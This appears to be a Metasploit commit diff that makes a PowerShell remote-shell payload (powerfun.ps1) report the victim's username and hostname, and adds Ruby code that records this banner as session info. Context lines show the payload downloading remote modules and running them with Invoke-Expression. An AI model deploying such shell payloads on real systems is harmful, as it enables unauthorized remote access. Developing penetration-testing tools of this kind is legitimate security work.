session info

Author: benpturner

data/exploits/powershell/powerfun.ps1

@@ -34,7 +34,7 @@ function powerfun
             (Get-Webclient).DownloadString($module)|Invoke-Expression
         } 
     }
-    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
+    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
     $stream.Write($sendbytes,0,$sendbytes.Length)
     $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
     $stream.Write($sendbytes,0,$sendbytes.Length)

lib/msf/base/sessions/powershell.rb

@@ -2,7 +2,21 @@
 require 'msf/base/sessions/command_shell'
 
 class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell
-
+  #
+  # Execute any specified auto-run scripts for this session
+  #
+  def process_autoruns(datastore)
+    # Read the initial output (PS banner) and toss it)
+    initial_output = shell_read(-1, 0.01)
+    # TODO: send command for getting the username
+    # TODO: parse out the username and set it to a variable
+    # TODO: send command for getting the hostname
+    # TODO: parse out the hostname and set it to a variable
+    # Set the session info
+    self.info = initial_output
+    # Call our parent class's autoruns processing method
+    super
+  end
   #
   # Returns the type of session.
   #